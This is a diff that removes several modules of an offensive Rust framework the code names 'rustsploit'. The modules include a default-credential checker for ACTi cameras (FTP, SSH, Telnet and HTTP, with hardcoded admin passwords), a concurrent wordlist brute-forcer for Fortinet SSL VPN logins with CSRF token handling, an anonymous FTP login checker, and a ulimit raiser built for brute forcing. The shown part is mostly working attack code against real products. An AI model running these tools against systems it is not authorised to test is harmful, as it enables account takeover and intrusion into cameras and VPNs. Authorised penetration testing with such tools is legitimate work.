pub fn is_subnet(&self) -> bool {
let target_guard = self.target.read().unwrap();
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap();
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
let mut target_guard = self.target.write().unwrap();
*target_guard = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
-145
View File
@@ -1,145 +0,0 @@
use anyhow::{anyhow, Context, Result};
use clap::Parser;
use std::net::SocketAddr;
mod cli;
mod shell;
mod commands;
mod modules;
mod utils;
mod api;
mod config;
/// Maximum length for API key to prevent memory exhaustion
const MAX_API_KEY_LENGTH: usize = 256;
/// Maximum length for interface/bind address
const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Validates the bind address format for security
fn validate_bind_address(addr: &str) -> Result<String> {
let trimmed = addr.trim();
// Length check
if trimmed.is_empty() {
return Err(anyhow!("Bind address cannot be empty"));
}
if trimmed.len() > MAX_BIND_ADDRESS_LENGTH {
return Err(anyhow!(
"Bind address too long (max {} characters)",
MAX_BIND_ADDRESS_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Bind address cannot contain control characters"));
}
// Add port if missing
let with_port = if trimmed.contains(':') {
trimmed.to_string()
} else {
format!("{}:8080", trimmed)
};
// Validate socket address format
with_port.parse::<SocketAddr>()
.map_err(|e| anyhow!("Invalid bind address '{}': {}", with_port, e))?;
Ok(with_port)
}
/// Validates API key format for security
fn validate_api_key(key: &str) -> Result<String> {
let trimmed = key.trim();
if trimmed.is_empty() {
return Err(anyhow!("API key cannot be empty"));
}
if trimmed.len() > MAX_API_KEY_LENGTH {
return Err(anyhow!(
"API key too long (max {} characters)",
MAX_API_KEY_LENGTH
));
}
// Only allow printable ASCII characters
if !trimmed.chars().all(|c| c.is_ascii_graphic()) {
return Err(anyhow!("API key must contain only printable ASCII characters"));
}
Ok(trimmed.to_string())
}
/// Validates IP limit for hardening mode
fn validate_ip_limit(limit: u32) -> Result<u32> {
if limit == 0 {
return Err(anyhow!("IP limit must be greater than 0"));
}
if limit > MAX_IP_LIMIT {
return Err(anyhow!(
"IP limit too high (max {})",
MAX_IP_LIMIT
));
}
Ok(limit)
}
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
// Validate API key
let api_key = validate_api_key(&api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
.context("Invalid bind address")?;
let harden = cli_args.harden;
// Validate IP limit
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!("✓ Global target set to: {}", target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
}
// Otherwise, launch the interactive shell
else {
shell::interactive_shell().await?;
}
Ok(())
}
@@ -1,265 +0,0 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
Telnet,
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
pub target: String,
pub port: u16,
pub credentials: Vec<(&'static str, &'static str)>,
pub stop_on_success: bool,
pub verbosity: bool,
}
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
fn normalize_target(target: &str, port: u16) -> String {
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]:{}", cleaned, port) // IPv6
} else {
format!("{}:{}", cleaned, port) // IPv4 or hostname
}
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
Err(_) => continue,
}
}
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
if parts.len() != 2 {
continue;
}
let host = parts[1];
let port: u16 = parts[0].parse().unwrap_or(23);
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
// Give device time to respond
std::thread::sleep(Duration::from_millis(500));
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
("LOGIN_ACCOUNT", *username),
("LOGIN_PASSWORD", *password),
("LANGUAGE", "0"),
("btnSubmit", "Login"),
];
let res = client
.post(&url)
.form(&data)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
let base_config = Config {
target: target.to_string(),
port: 0,
credentials: creds,
stop_on_success: true,
verbosity: true,
};
let ftp_conf = Config { port: 21, ..base_config.clone() };
let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary
if !found_credentials.is_empty() {
println!();
println!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
}
} else {
println!();
println!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,140 +0,0 @@
use anyhow::{Result, anyhow};
use colored::*;
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
const TARGET_FILE_LIMIT: u64 = 65535;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Module entry point for raising ulimit
pub async fn run(target: &str) -> Result<()> {
// Target parameter is part of standard module interface
// For ulimit operations, target is informational only
if !target.is_empty() {
println!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await
}
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let mut rlim = rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
if result != 0 {
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
}
Ok((rlim.rlim_cur, rlim.rlim_max))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
let rlim = rlimit {
rlim_cur: soft,
rlim_max: hard,
};
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
if result != 0 {
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
}
Ok(())
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
println!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
println!();
println!("{}", "=== Shell Instructions ===".bold());
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
println!("{}", " ulimit -n 65535".white());
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
println!("{}", " * soft nofile 65535".white());
println!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -1,421 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_wordlist, normalize_target,
};
use regex::Regex;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("Fortinet VPN Port", "443").await?
.parse().unwrap_or(443);
let usernames_file_path = prompt_wordlist("Username wordlist path").await?;
let passwords_file_path = prompt_wordlist("Password wordlist path").await?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let timeout_secs = prompt_int_range("Connection timeout (seconds)", 10, 1, 300).await? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if _save_results {
Some(prompt_default("Output file name", "fortinet_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false).await?;
// Optional prompts
// We don't have prompt_optional in shared utils yet?
// Yes we do, implicitly via prompt_default("") or similar, check utils.rs
// Actually utils has prompt_default. If user enters empty, it returns default.
// If we want optional, we might need to rely on prompt_default returning empty string if default is empty?
// Let's implement a quick local helper or use prompt_default("", "") if that works.
// The previous code had `prompt_optional`.
// I will use prompt_default with empty default and check for empty string.
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "").await?;
let trusted_cert = if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) };
let realm_str = prompt_default("Authentication realm (optional)", "").await?;
let realm = if realm_str.is_empty() { None } else { Some(realm_str) };
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
// Work generation
if combo_mode {
for user in &users {
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
}
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
for i in 0..max_len {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
let user = &users[i % users.len()];
let pass = &passwords[i % passwords.len()];
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (url, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
async fn spawn_fortinet_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
base_url: String,
realm: Option<String>,
trusted_cert: Option<String>,
found: Arc<Mutex<Vec<(String, String, String)>>>,
stop_signal: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
verbose: bool,
stop_on_success: bool,
timeout: Duration
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
stats.record_success();
if stop_on_success {
stop_signal.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
}
}
}
sleep(Duration::from_millis(100)).await;
}));
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.form(&form_data)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
return Ok(false);
}
// Check status and cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
}
None
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let normalized_host = normalize_target(target)?;
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let url = if has_port {
format!("https://{}", normalized_host)
} else {
format!("https://{}:{}", normalized_host, port)
};
Ok(url)
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
-105
View File
@@ -1,105 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
-548
View File
@@ -1,548 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::Write,
sync::Arc,
time::Duration,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
